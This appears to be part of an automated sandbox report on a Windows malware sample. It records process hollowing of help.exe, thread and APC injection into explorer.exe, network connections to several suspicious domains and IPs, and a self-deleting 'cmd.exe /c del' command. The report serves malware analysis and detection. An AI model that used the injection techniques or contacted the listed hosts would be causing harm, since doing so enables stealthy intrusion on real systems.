Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A037F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039EF716 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FA70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FA70E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A9070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A9070D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FE730 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C4F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C4F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A5FF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A5FF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A98F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039DEF40 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039DFF60 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A446A7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A90EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A90EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A90EA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A5FE87 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F36CC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A7FEC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A08EC7 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D76E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A98ED6 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F16E0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FA61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FA61C mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A7FE3F mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CC600 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F8E00 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A81608 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039CE620 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D7E41 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8AE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8AE44 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039EAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039EAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039EAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039EAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039EAE73 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D766D mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FFD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039FFD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A905AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A905AC mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039C2D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F2581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F2581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F2581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F2581 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F1DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F1DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F1DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F35A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8FDE2 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A78DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A46DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A46DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A46DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A46DC9 mov ecx, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A46DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A46DC9 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039DD5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039DD5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A8E539 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A4A537 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_03A98D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F4D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F4D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039F4D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D3D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Windows\SysWOW64\help.exe	Code function: 13_2_039D3D34 mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\help.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe

Memory allocated: page read and write | page guard

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Network Connect: 104.21.65.7 80
Source: C:\Windows\explorer.exe	Domain query: www.hiddenwholesale.com
Source: C:\Windows\explorer.exe	Domain query: www.cleanxcare.com
Source: C:\Windows\explorer.exe	Domain query: www.biztekno.com
Source: C:\Windows\explorer.exe	Domain query: www.centergolosinas.com
Source: C:\Windows\explorer.exe	Network Connect: 44.227.65.245 80
Source: C:\Windows\explorer.exe	Network Connect: 192.169.223.13 80
Source: C:\Windows\explorer.exe	Network Connect: 198.185.159.144 80
Source: C:\Windows\explorer.exe	Network Connect: 151.106.118.75 80
Source: C:\Windows\explorer.exe	Domain query: www.69-1hn7uc.net
Source: C:\Windows\explorer.exe	Domain query: www.cyrilgraze.com
Source: C:\Windows\explorer.exe	Domain query: www.anewdistraction.com
Source: C:\Windows\explorer.exe	Network Connect: 163.43.122.119 80
Source: C:\Windows\explorer.exe	Network Connect: 78.31.67.91 80

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe

Memory written: C:\Users\user\Desktop\SKlGhwkzTi.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Thread register set: target process: 3424
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Thread register set: target process: 3424
Source: C:\Windows\SysWOW64\help.exe	Thread register set: target process: 3424

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe

Section unmapped: C:\Windows\SysWOW64\help.exe base address: F90000

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process created: C:\Users\user\Desktop\SKlGhwkzTi.exe C:\Users\user\Desktop\SKlGhwkzTi.exe
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Process created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\SKlGhwkzTi.exe'

Source: explorer.exe, 00000006.00000000.714835455.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000006.00000000.715332585.0000000001080000.00000002.00000001.sdmp, help.exe, 0000000D.00000002.919752559.00000000060F0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000006.00000000.715332585.0000000001080000.00000002.00000001.sdmp, help.exe, 0000000D.00000002.919752559.00000000060F0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000000.715332585.0000000001080000.00000002.00000001.sdmp, help.exe, 0000000D.00000002.919752559.00000000060F0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000006.00000000.715332585.0000000001080000.00000002.00000001.sdmp, help.exe, 0000000D.00000002.919752559.00000000060F0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000006.00000000.704737422.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Users\user\Desktop\SKlGhwkzTi.exe VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Users\user\Desktop\SKlGhwkzTi.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
